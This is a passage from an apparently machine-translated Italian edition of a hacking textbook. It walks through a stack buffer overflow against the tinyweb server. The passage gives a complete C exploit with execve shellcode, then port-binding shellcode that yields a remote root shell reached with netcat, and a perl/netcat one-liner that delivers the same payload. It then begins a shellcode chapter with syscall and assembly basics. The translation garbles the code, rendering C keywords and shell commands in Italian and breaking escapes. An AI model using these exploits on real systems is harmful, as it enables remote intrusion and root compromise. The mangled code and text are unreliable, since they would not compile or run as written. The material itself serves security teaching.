# 0 handle_connection (sockfd = 4, client_addr_ptr = 0xbffff810) su tinyweb.c: 62
# 1 0x08048cf6 in main () su tinyweb.c: 48
(gdb) x / 16xw richiesta + 500
0xbffff7b4: 0xb7fd5ff4 0xb8000ce0 0x00000000 0xbffff848
0xbffff7c4: 0xb7ff9300 0xb7fd5ff4 0xbffff7e0 0xb7f691c0
0xbffff7d4: 0xb7fd5ff4 0xbffff848 0x08048cf6 0x00000004
0xbffff7e4: 0xbffff810 0xbffff80c 0xbffff834 0x00000004
(gdb) x / x 0xbffff7d4 + 8
0xbffff7dc: 0x08048cf6
(gdb) p 0xbffff7dc - 0xbffff5c0

274 0x400

Pagina 289

$ 1 = 540
(gdb) p / x 0xbffff5c0 + 200
$ 2 = 0xbffff688
(gdb) esci
Il programma è in esecuzione. Chiudere comunque (e staccarlo)? (y o n) y
Scollegamento dal programma:, elaborare 13019
lettore @ hacking: ~ / booksrc $

Al punto di interruzione, il buffer delle richieste inizia da 0xbfffff5c0 . Il bt com


lo stack backtrace di mand mostra che l'indirizzo di ritorno da handle_connection ()
è 0x08048cf6 . Poiché sappiamo come sono generalmente disposte le variabili locali
lo stack, sappiamo che il buffer della richiesta è vicino alla fine del frame. Questo significa
che l'indirizzo di ritorno memorizzato dovrebbe essere sullo stack da qualche parte vicino al file
fine di questo buffer da 500 byte. Poiché conosciamo già l'area generale da esaminare, a
un'ispezione rapida mostra che l'indirizzo del mittente memorizzato è 0xbffff7dc (). Un po
la matematica mostra che l'indirizzo di ritorno memorizzato è 540 byte dall'inizio della richiesta
buffer. Tuttavia, ci sono alcuni byte vicino all'inizio del buffer that
potrebbe essere alterato dal resto della funzione. Ricorda, non ci guadagniamo
controllo del programma fino al ritorno della funzione. Per tenere conto di questo, è
meglio evitare solo l'inizio del buffer. Saltando i primi 200 byte
dovrebbe essere sicuro, lasciando molto spazio per lo shellcode nei restanti
300 byte. Ciò significa che 0xbffff688 è l'indirizzo di ritorno di destinazione.

0x482 Conta quasi solo con le bombe a mano


Il seguente exploit per il programma tinyweb utilizza offset e return
indirizzo sovrascrivere valori calcolati con GDB. Riempie il buffer degli exploit con
byte nulli, quindi qualsiasi cosa scritta in esso verrà automaticamente terminata con null.
Quindi riempie i primi 540 byte con istruzioni NOP. Questo costruisce il NOP
sled e riempie il buffer fino alla posizione di sovrascrittura dell'indirizzo di ritorno. Poi
l'intera stringa termina con il terminatore di riga "\ r \ n" .

tinyweb_exploit.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys / socket.h>
#include <netinet / in.h>
#include <arpa / inet.h>
#include <netdb.h>

#include "hacking.h"
#include "hacking-network.h"

char shellcode [] =
"\ x31 \ xc0 \ x31 \ xdb \ x31 \ xc9 \ x99 \ xb0 \ xa4 \ xcd \ x80 \ x6a \ x0b \ x58 \ x51 \ x68"
"\ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x51 \ x89 \ xe2 \ x53 \ x89"
"\ xe1 \ xcd \ x80"; // Shellcode standard

#define OFFSET 540

Networking 275

Pagina 290

#define RETADDR 0xbffff688

int main (int argc, char * argv []) {


int sockfd, buflen;
struct hostent * host_info;
struct sockaddr_in target_addr;
buffer di caratteri senza segno [600];

if (argc <2) {
printf ("Utilizzo:% s <hostname> \ n", argv [0]);
uscita (1);
}

if ((host_info = gethostbyname (argv [1])) == NULL)


fatale ("ricerca del nome host");

if ((sockfd = socket (PF_INET, SOCK_STREAM, 0)) == -1)


fatale ("in socket");

target_addr.sin_family = AF_INET;
target_addr.sin_port = htons (80);
target_addr.sin_addr = * ((struct in_addr *) host_info-> h_addr);
memset (& (target_addr.sin_zero), '\ 0', 8); // Azzera il resto della struttura.

if (connect (sockfd, (struct sockaddr *) & target_addr, sizeof (struct sockaddr)) == -1)
fatale ("connessione al server di destinazione");

bzero (buffer, 600); // Azzera il buffer.


memset (buffer, '\ x90', OFFSET); // Costruisci una slitta NOP.
* ((u_int *) (buffer + OFFSET)) = RETADDR; // Inserisci l'indirizzo del mittente
memcpy (buffer + 300, shellcode, strlen (shellcode)); // shellcode.
strcat (buffer, "\ r \ n"); // Termina la stringa.
printf ("Exploit buffer: \ n");
dump (buffer, strlen (buffer)); // Mostra il buffer degli exploit.
send_string (sockfd, buffer); // Invia il buffer di exploit come richiesta HTTP.

uscita (0);
}

Quando questo programma viene compilato, può sfruttare in remoto gli host in esecuzione
il programma tinyweb, inducendoli a eseguire lo shellcode. L'exploit
inoltre scarica i byte dell'exploit buffer prima di inviarlo. Nell'output
sotto, il programma tinyweb viene eseguito in un terminale diverso e l'exploit è
testato contro di esso. Ecco l'output dal terminale dell'aggressore:

reader @ hacking: ~ / booksrc $ gcc tinyweb_exploit.c


lettore @ hacking: ~ / booksrc $ ./a.out 127.0.0.1
Buffer exploit:
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

276 0x400

Pagina 291

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 31 c0 31 db | ............ 1.1.
31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 2f 2f 73 68 | 1 ...... j.XQh // sh
68 2f 62 69 6e 89 e3 51 89 e2 53 89 e1 cd 80 90 | h / bin..Q..S .....
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 88 f6 ff bf | ................
0d 0a | ..
lettore @ hacking: ~ / booksrc $

Tornando al terminale che esegue il programma tinyweb, l'output mostra il file


È stato ricevuto il buffer di exploit e lo shellcode viene eseguito. Ciò fornirà un file
roothell, ma solo per la console che esegue il server. Purtroppo non lo siamo
alla console, quindi questo non ci servirà a niente. Sulla console del server, vediamo il file
a seguire:

lettore @ hacking: ~ / booksrc $ ./tinyweb


Accettazione di richieste web sulla porta 80
Richiesta da 127.0.0.1:53908 "GET / HTTP / 1.1"
Apertura di "./webroot/index.html" 200 OK
Richiesta da 127.0.0.1:40668 "GET /image.jpg HTTP / 1.1"
Apertura di "./webroot/image.jpg" 200 OK
Richiesta ricevuta da 127.0.0.1:58504
"

111 j
XQh // shh / bin QS

"
NON HTTP!
sh-3.2 #

Networking 277

Pagina 292

La vulnerabilità esiste certamente, ma lo shellcode non fa quello che noi


voglio in questo caso. Poiché non siamo alla console, lo shellcode è solo un
programma contenuto, progettato per sostituire un altro programma per aprire una shell.
Una volta preso il controllo del puntatore di esecuzione del programma, il file iniettato
shellcode può fare qualsiasi cosa. Esistono molti tipi diversi di codice shell
che può essere utilizzato in diverse situazioni (o payload). Anche se non solo
shellcode in realtà genera una shell, è ancora comunemente chiamato shellcode.

Codice shell di associazione porta 0x483


Quando si sfrutta un programma remoto, generare una shell localmente è inutile.
Lo shellcode di associazione alla porta ascolta una connessione TCP su una determinata porta
e serve il guscio a distanza. Supponendo che tu abbia già il port-binding
shellcode pronto, utilizzarlo è semplicemente una questione di sostituire i byte dello shellcode
definito nell'exploit. Lo shellcode di associazione delle porte è incluso nel LiveCD che
si collegherà alla porta 31337. Questi byte dello shellcode sono mostrati nell'output sotto.

reader @ hacking: ~ / booksrc $ wc -c portbinding_shellcode


92 portbinding_shellcode
reader @ hacking: ~ / booksrc $ hexdump -C portbinding_shellcode
00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 | jfX.1.CRj.j ..... |
00000010 96 6a 66 58 43 52 66 68 7a 69 66 53 89 e1 6a 10 | .jfXCRfhzifS..j. |
00000020 51 56 89 e1 cd 80 b0 66 43 43 53 56 89 e1 cd 80 | QV ..... fCCSV .... |
00000030 b0 66 43 52 52 56 89 e1 cd 80 93 6a 02 59 b0 3f | .fCRRV ..... jY? |
00000040 cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 2f 62 | ..Iy ... Rh // shh / b |
00000050 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 | in..R..S .... |
0000005c
reader @ hacking: ~ / booksrc $ od -tx1 portbinding_shellcode | taglio -c8-80 | sed -e 's / / \\ x / g'
\ x6a \ x66 \ x58 \ x99 \ x31 \ xdb \ x43 \ x52 \ x6a \ x01 \ x6a \ x02 \ x89 \ xe1 \ xcd \ x80
\ x96 \ x6a \ x66 \ x58 \ x43 \ x52 \ x66 \ x68 \ x7a \ x69 \ x66 \ x53 \ x89 \ xe1 \ x6a \ x10
\ x51 \ x56 \ x89 \ xe1 \ xcd \ x80 \ xb0 \ x66 \ x43 \ x43 \ x53 \ x56 \ x89 \ xe1 \ xcd \ x80
\ xb0 \ x66 \ x43 \ x52 \ x52 \ x56 \ x89 \ xe1 \ xcd \ x80 \ x93 \ x6a \ x02 \ x59 \ xb0 \ x3f
\ xcd \ x80 \ x49 \ x79 \ xf9 \ xb0 \ x0b \ x52 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62
\ x69 \ x6e \ x89 \ xe3 \ x52 \ x89 \ xe2 \ x53 \ x89 \ xe1 \ xcd \ x80

lettore @ hacking: ~ / booksrc $

Dopo un po 'di formattazione veloce, questi byte vengono scambiati nello shellcode
byte del programma tinyweb_exploit.c, risultando in tinyweb_exploit2.c. Il
la nuova riga dello shellcode è mostrata di seguito.

Nuova riga da tinyweb_exploit2.c

char shellcode [] =
"\ x6a \ x66 \ x58 \ x99 \ x31 \ xdb \ x43 \ x52 \ x6a \ x01 \ x6a \ x02 \ x89 \ xe1 \ xcd \ x80"
"\ x96 \ x6a \ x66 \ x58 \ x43 \ x52 \ x66 \ x68 \ x7a \ x69 \ x66 \ x53 \ x89 \ xe1 \ x6a \ x10"
"\ x51 \ x56 \ x89 \ xe1 \ xcd \ x80 \ xb0 \ x66 \ x43 \ x43 \ x53 \ x56 \ x89 \ xe1 \ xcd \ x80"
"\ xb0 \ x66 \ x43 \ x52 \ x52 \ x56 \ x89 \ xe1 \ xcd \ x80 \ x93 \ x6a \ x02 \ x59 \ xb0 \ x3f"
"\ xcd \ x80 \ x49 \ x79 \ xf9 \ xb0 \ x0b \ x52 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62"
"\ x69 \ x6e \ x89 \ xe3 \ x52 \ x89 \ xe2 \ x53 \ x89 \ xe1 \ xcd \ x80";
// Shellcode di associazione alla porta sulla porta 31337

278 0x400

Pagina 293

Quando questo exploit viene compilato ed eseguito su un host che esegue tinyweb
server, lo shellcode ascolta sulla porta 31337 una connessione TCP. Nel
output di seguito, un programma chiamato nc viene utilizzato per connettersi alla shell. Questo pro
gram è netcat ( nc in breve), che funziona come quel programma cat ma su
Rete. Non possiamo semplicemente usare telnet per connetterci poiché termina automaticamente
tutte le linee in uscita con "\ r \ n" . L'output di questo exploit è mostrato di seguito. Il
L' opzione della riga di comando -vv passata a netcat serve solo per renderlo più dettagliato.

reader @ hacking: ~ / booksrc $ gcc tinyweb_exploit2.c


lettore @ hacking: ~ / booksrc $ ./a.out 127.0.0.1
Buffer exploit:
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 6a 66 58 99 | ............ jfX.
31 db 43 52 6a 01 6a 02 89 e1 cd 80 96 6a 66 58 | 1.CRj.j ...... jfX
43 52 66 68 7a 69 66 53 89 e1 6a 10 51 56 89 e1 | CRfhzifS..j.QV ..
cd 80 b0 66 43 43 53 56 89 e1 cd 80 b0 66 43 52 | ... fCCSV ..... fCR
52 56 89 e1 cd 80 93 6a 02 59 b0 3f cd 80 49 79 | RV ..... jY? .. Iy
f9 b0 0b 52 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 | ... Rh // shh / bin ..
52 89 e2 53 89 e1 cd 80 90 90 90 90 90 90 90 90 | R..S ............
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 88 f6 ff bf | ................
0d 0a | ..
lettore @ hacking: ~ / booksrc $ nc -vv 127.0.0.1 31337
localhost [127.0.0.1] 31337 (?) aperto
chi sono
radice
ls -l / etc / passwd
-rw-r - r-- 1 root root 1545 9 settembre 16:24 / etc / passwd

Networking 279

Pagina 294
Anche se la shell remota non visualizza un prompt, accetta comunque
comanda e restituisce l'output sulla rete.
Un programma come netcat può essere utilizzato per molte altre cose. È progettato per
funziona come un programma di console, consentendo il piping dell'input e dell'output standard
e reindirizzato. Utilizzando netcat e lo shellcode di associazione della porta in un file, lo stesso
l'exploit può essere eseguito dalla riga di comando.

reader @ hacking: ~ / booksrc $ wc -c portbinding_shellcode


92 portbinding_shellcode
lettore @ hacking: ~ / booksrc $ echo $ ((540 + 4-300-92))
152
lettore @ hacking: ~ / booksrc $ echo $ ((152/4))
38
lettore @ hacking: ~ / booksrc $ (perl -e 'print "\ x90" x300';
> cat portbinding_shellcode
> perl -e 'print "\ x88 \ xf6 \ xff \ xbf" x38. \ r \ n "')

jfX1CRj j jfXC
RfhzifS j QV fCCSV fCRRV j Y? Iy
Rh // shh / bin RS

reader @ hacking: ~ / booksrc $ (perl -e 'print "\ x90" x300'; cat portbinding_shellcode;
perl -e 'print "\ x88 \ xf6 \ xff \ xbf" x38. "\ r \ n" ') | nc -v -w1 127.0.0.1 80
localhost [127.0.0.1] 80 (www) aperto
lettore @ hacking: ~ / booksrc $ nc -v 127.0.0.1 31337
localhost [127.0.0.1] 31337 (?) aperto
chi sono
radice

Nell'output sopra, prima la lunghezza dello shellcode di associazione della porta è


dimostrato di essere 92 byte. L'indirizzo di ritorno si trova a 540 byte dall'inizio di
il buffer, quindi con uno sled NOP da 300 byte e 92 byte di shellcode, ci sono
152 byte per sovrascrivere l'indirizzo del mittente. Ciò significa che se l'obiettivo di ritorno
l'indirizzo viene ripetuto 38 volte alla fine del buffer, l'ultimo dovrebbe funzionare
la sovrascrittura. Infine, il buffer termina con "\ r \ n" . I comandi
che costruiscono il buffer sono raggruppati con parentesi per collegare il buffer
netcat. netcat si connette al programma tinyweb e invia il buffer. Dopo
lo shellcode viene eseguito, netcat deve essere interrotto premendo CTRL -C,
poiché la connessione socket originale è ancora aperta. Quindi, netcat viene utilizzato di nuovo
per connettersi alla shell associata alla porta 31337.

280 0x400

Pagina 295

0x500 SHELLCODE

Finora, lo shellcode utilizzato nei nostri exploit è stato


solo una stringa di byte copiati e incollati. Abbiamo visto
shellcode standard di generazione della shell per exploit locali
e shellcode di associazione delle porte per quelli remoti. Shellcode
è anche a volte indicato come un payload di exploit, poiché questi file
i programmi fanno il vero lavoro una volta che un programma è stato violato. Shellcode di solito
genera una conchiglia, poiché è un modo elegante per trasferire il controllo; ma può fare qualsiasi
cosa può fare un programma.
Sfortunatamente, per molti hacker la storia dello shellcode si ferma alla copia e
incollare byte. Questi hacker stanno solo grattando la superficie di ciò che è possibile.
Lo shellcode personalizzato ti dà il controllo assoluto sul programma sfruttato.
Forse vuoi che il tuo codice shell aggiunga un account amministratore a / etc / passwd
o per rimuovere automaticamente le righe dai file di registro. Una volta che sai come scrivere
il tuo codice shell, i tuoi exploit sono limitati solo dalla tua immaginazione. Nel
Inoltre, la scrittura di shellcode sviluppa abilità nel linguaggio assembly e impiega un file
numero di tecniche di hacking che vale la pena conoscere.
Pagina 296

0x510 Assembly vs. C


I byte dello shellcode sono in realtà istruzioni macchina specifiche dell'architettura,
quindi lo shellcode viene scritto utilizzando il linguaggio assembly. Scrivere un programma in
l'assemblaggio è diverso dallo scriverlo in C, ma molti dei principi sono simili.
Il sistema operativo gestisce cose come input, output, controllo di processo, file
accesso e comunicazione di rete nel kernel. Programmi in C compilati
infine eseguire queste attività effettuando chiamate di sistema al kernel. Diverso
i sistemi operativi hanno diversi set di chiamate di sistema.
In C, le librerie standard vengono utilizzate per comodità e portabilità. AC pro
gram che usa printf () per produrre una stringa può essere compilato per molti differenti
sistemi, poiché la libreria conosce l'appropriato sistema richiede vari archivi
tectures. Programma AC compilato su un x processore 86 produrrà x 86 assemblaggio
linguaggio.
Per definizione, il linguaggio assembly è già specifico di un determinato processore
architettura, quindi la portabilità è impossibile. Non ci sono librerie standard;
invece, le chiamate di sistema del kernel devono essere effettuate direttamente. Per iniziare il nostro confronto,
scriviamo un semplice programma C, quindi lo riscriviamo in assembly x 86.

helloworld.c

#include <stdio.h>
int main () {
printf ("Ciao, mondo! \ n");
return 0;
}

Quando il programma compilato viene eseguito, l'esecuzione scorre attraverso lo standard


Libreria I / O, effettuando infine una chiamata di sistema per scrivere la stringa Hello, world! per
lo schermo. Il programma strace viene utilizzato per tracciare le chiamate di sistema di un programma. Usato
sul programma helloworld compilato, mostra ogni chiamata di sistema di quel programma
fa.

reader @ hacking: ~ / booksrc $ gcc helloworld.c


lettore @ hacking: ~ / booksrc $ strace ./a.out
execve ("./ a.out", ["./a.out"], [/ * 27 vars * /]) = 0
brk (0) = 0x804a000
access ("/ etc / ld.so.nohwcap", F_OK) = -1 ENOENT (nessun file o directory di questo tipo)
mmap2 (NULL, 8192, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) = 0xb7ef6000
access ("/ etc / ld.so.preload", R_OK) = -1 ENOENT (nessun file o directory di questo tipo)
open ("/ etc / ld.so.cache", O_RDONLY) = 3
fstat64 (3, {st_mode = S_IFREG | 0644, st_size = 61323, ...}) = 0
mmap2 (NULL, 61323, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7ee7000
chiudere (3) =0
access ("/ etc / ld.so.nohwcap", F_OK) = -1 ENOENT (nessun file o directory di questo tipo)
open ("/ lib / tls / i686 / cmov / libc.so.6", O_RDONLY) = 3
leggi (3, "\ 177ELF \ 1 \ 1 \ 1 \ 0 \ 0 \ 0 \ 0 \ 0 \ 0 \ 0 \ 0 \ 0 \ 3 \ 0 \ 3 \ 0 \ 1 \ 0 \ 0 \ 0 \ 20Z \ 1 \ 000 "..., 512) = 512
fstat64 (3, {st_mode = S_IFREG | 0755, st_size = 1248904, ...}) = 0
mmap2 (NULL, 1258876, PROT_READ | PROT_EXEC, MAP_PRIVATE | MAP_DENYWRITE, 3, 0) = 0xb7db3000
mmap2 (0xb7ee0000, 16384, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_DENYWRITE, 3, 0x12c) =
0xb7ee0000

282 0x500

Pagina 297

mmap2 (0xb7ee4000, 9596, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0) =


0xb7ee4000
chiudere (3) =0
mmap2 (NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) = 0xb7db2000
set_thread_area ({entry_number: -1 -> 6, base_addr: 0xb7db26b0, limite: 1048575, seg_32bit: 1,
contenuto: 0, read_exec_only: 0, limit_in_pages: 1, seg_not_present: 0, utilizzabile: 1}) = 0
mprotect (0xb7ee0000, 8192, PROT_READ) = 0
munmap (0xb7ee7000, 61323) =0
fstat64 (1, {st_mode = S_IFCHR | 0620, st_rdev = makedev (136, 2), ...}) = 0
mmap2 (NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) = 0xb7ef5000
scrivi (1, "Ciao, mondo! \ n", 13Ciao, mondo!
) = 13
exit_group (0) =?
Processo 11528 staccato
lettore @ hacking: ~ / booksrc $

Come puoi vedere, il programma compilato non si limita a stampare una stringa.
Le chiamate di sistema all'inizio stanno impostando l'ambiente e la memoria
per il programma, ma la parte importante è la syscall write () mostrata in grassetto.
Questo è ciò che effettivamente restituisce la stringa.
Le pagine di manuale di Unix (accessibili con il comando man ) sono separate
arato in sezioni. La sezione 2 contiene le pagine di manuale per le chiamate di sistema,
quindi man 2 write descriverà l'uso della chiamata di sistema write () :

Pagina man per la chiamata di sistema write ()

SCRIVI (2) Manuale del programmatore Linux


SCRIVI (2)

NOME
write - scrive in un descrittore di file

SINOSSI
#include <unistd.h>
ssize_t write (int fd, const void * buf, size_t count);

DESCRIZIONE
write () scrive fino a contare byte nel file a cui fa riferimento il file
descrittore fd dal buffer a partire da buf. POSIX richiede che a
read () che può essere provato dopo che un write () restituisce il nuovo
dati. Notare che non tutti i file system sono conformi a POSIX.

L'output di strace mostra anche gli argomenti per la syscall. Il buf


e count arguments sono un puntatore alla nostra stringa e alla sua lunghezza. Il fd
l'argomento 1 è uno speciale descrittore di file standard. Vengono utilizzati descrittori di file
per quasi tutto in Unix: input, output, accesso ai file, socket di rete,
e così via. Un descrittore di file è simile a un numero assegnato a un controllo del cappotto.
Aprire un descrittore di file è come controllare il cappotto, dato che ti viene fornito
un numero che può essere utilizzato in seguito per fare riferimento al tuo cappotto. I primi tre file
i numeri dei descrittori (0, 1 e 2) vengono utilizzati automaticamente per lo standard input,
output ed errore. Questi valori sono standard e sono stati definiti in diversi
luoghi, come il file /usr/include/unistd.h nella pagina seguente.

Shellcode 283

Pagina 298

Da /usr/include/unistd.h

/ * Descrittori di file standard. * /


#define STDIN_FILENO 0 / * Standard input. * /
#define STDOUT_FILENO 1 / * Standard output. * /
#define STDERR_FILENO 2 / * Output di errore standard. * /

La scrittura di byte nel descrittore di file 1 dello standard output stamperà i byte;
la lettura dal descrittore di file dello standard input di 0 introdurrà byte. Lo standard
il descrittore di file di errore 2 viene utilizzato per visualizzare i messaggi di errore o di debug
che può essere filtrato dallo standard output.

0x511 Chiamate di sistema Linux in Assembly


Ogni possibile chiamata di sistema Linux viene enumerata, quindi è possibile fare riferimento
da numeri quando si effettuano le chiamate in assemblea. Queste chiamate di sistema sono elencate in
/usr/include/asm-i386/unistd.h.

Da /usr/include/asm-i386/unistd.h

#ifndef _ASM_I386_UNISTD_H_
#define _ASM_I386_UNISTD_H_

/*
* Questo file contiene i numeri di chiamata di sistema.
*/

#define __NR_restart_syscall 0
#define __NR_exit 1
#define __NR_fork 2
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5
#define __NR_close 6
#define __NR_waitpid 7
#define __NR_creat 8
#define __NR_link 9
#define __NR_unlink 10
#define __NR_execve 11
#define __NR_chdir 12
#define __NR_time 13
#define __NR_mknod 14
#define __NR_chmod 15
#define __NR_lchown 16
#define __NR_break 17
#define __NR_oldstat 18
#define __NR_lseek 19
#define __NR_getpid 20
#define __NR_mount 21
#define __NR_umount 22
#define __NR_setuid 23
#define __NR_getuid 24

284 0x500

Pagina 299

#define __NR_stime 25
#define __NR_ptrace 26
#define __NR_alarm 27
#define __NR_oldfstat 28
#define __NR_pause 29
#define __NR_utime 30
#define __NR_stty 31
#define __NR_gtty 32
#define __NR_access 33
#define __NR_nice 34
#define __NR_ftime 35
#define __NR_sync 36
#define __NR_kill 37
#define __NR_rename 38
#define __NR_mkdir 39
...
Per la nostra riscrittura di helloworld.c in assembly, effettueremo una chiamata di sistema a
la funzione write () per l'output e poi una seconda chiamata di sistema a exit ()
quindi il processo si chiude in modo pulito. Questo può essere fatto in x 86 assembly usando solo due
istruzioni di montaggio: mov e int .
Le istruzioni di assemblaggio per il processore x 86 hanno una, due, tre o no
operandi. Gli operandi di un'istruzione possono essere valori numerici, memoria
indirizzi o registri del processore. Il processore x 86 ha diversi registri a 32 bit
che possono essere visualizzati come variabili hardware. I registri EAX, EBX, ECX, EDX,
ESI, EDI, EBP e ESP possono essere tutti usati come operandi, mentre il registro EIP
(puntatore di esecuzione) non può.
L' istruzione mov copia un valore tra i suoi due operandi. Utilizzando Intel
sintassi assembly, il primo operando è la destinazione e il secondo è il file
fonte. L' istruzione int invia un segnale di interrupt al kernel, definito
dal suo singolo operando. Con il kernel Linux, viene utilizzato l' interrupt 0x80 per dire
il kernel per effettuare una chiamata di sistema. Quando viene eseguita l'istruzione int 0x80 , il file
kernel effettuerà una chiamata di sistema basata sui primi quattro registri. Il registro EAX
viene utilizzato per specificare quale chiamata di sistema effettuare, mentre EBX, ECX e EDX
i registri vengono utilizzati per contenere il primo, il secondo e il terzo argomento del sistema
chiamata. Tutti questi registri possono essere impostati utilizzando l' istruzione mov .
Nel seguente listato di codice assembly, i segmenti di memoria sono semplicemente
dichiarato. La stringa "Hello, world!" con un carattere di nuova riga ( 0x0a ) è nel file
segmento di dati e le istruzioni di assemblaggio effettive si trovano nel segmento di testo.
Questo segue le corrette pratiche di segmentazione della memoria.

helloworld.asm

sezione .data; Segmento di dati


msg db "Hello, world!", 0x0a; La stringa e il carattere di nuova riga

sezione .text; Segmento di testo


global _start; Punto di ingresso predefinito per il collegamento ELF

_inizio:

Shellcode 285

Pagina 300

; SYSCALL: scrivi (1, msg, 14)


mov eax, 4 ; Metti 4 in eax, poiché write è syscall # 4.
mov ebx, 1 ; Metti 1 in ebx, poiché stdout è 1.
mov ecx, msg; Metti l'indirizzo della stringa in ecx.
mov edx, 14; Metti 14 in edx, poiché la nostra stringa è di 14 byte.
int 0x80 ; Chiama il kernel per eseguire la chiamata di sistema.

; SYSCALL: exit (0)


mov eax, 1 ; Metti 1 in eax, poiché exit è syscall # 1.
mov ebx, 0 ; Esci con successo.
int 0x80 ; Fai la syscall.

Le istruzioni di questo programma sono semplici. Per il syscall write ()


sullo standard output, il valore 4 viene inserito in EAX poiché la funzione write () è
numero di chiamata di sistema 4. Quindi, il valore 1 viene inserito in EBX, poiché il primo argomento
Il documento di write () dovrebbe essere il descrittore di file per lo standard output. Successivamente, il
l'indirizzo della stringa nel segmento di dati viene inserito in ECX e la lunghezza del file
stringa (in questo caso, 14 byte) viene inserita in EDX. Dopo che questi registri sono stati caricati,
viene attivato l'interrupt della chiamata di sistema, che chiamerà la funzione write () .
Per uscire in modo pulito, la funzione exit () deve essere chiamata con un singolo file
argomento di 0 . Quindi il valore di 1 viene inserito in EAX, poiché exit () è la chiamata di sistema
numero 1, e il valore di 0 viene inserito in EBX, poiché il primo e unico argomento
ment dovrebbe essere 0. Quindi viene nuovamente attivato l'interrupt della chiamata di sistema.
Per creare un file binario eseguibile, è necessario prima assemblare questo codice assembly
e quindi collegato in un formato eseguibile. Durante la compilazione del codice C, il file GCC
il compilatore si occupa di tutto questo automaticamente. Creeremo un file
